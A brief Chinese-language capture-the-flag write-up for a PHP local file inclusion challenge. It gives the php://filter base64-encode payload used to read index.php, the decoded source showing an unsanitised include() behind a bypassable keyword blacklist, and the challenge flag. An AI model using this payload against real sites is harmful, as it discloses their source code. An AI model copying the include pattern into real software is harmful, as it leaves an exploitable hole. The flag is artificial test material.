http://4.chinalover.sinaapp.com/web7/index.php

题解:

文件包含漏洞的格式网址,通过php://filter读取index源码-->php://filter/read=convert.base64-encode/resource=index.php 

参考文章:https://www.2cto.com/article/201311/258420.html

base64解码:

<html>
    <title>asdf</title>
    
<?php
  error_reporting(0);
  if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
  $file=$_GET['file'];
  if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
    echo "Oh no!";
    exit();
  }
  include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>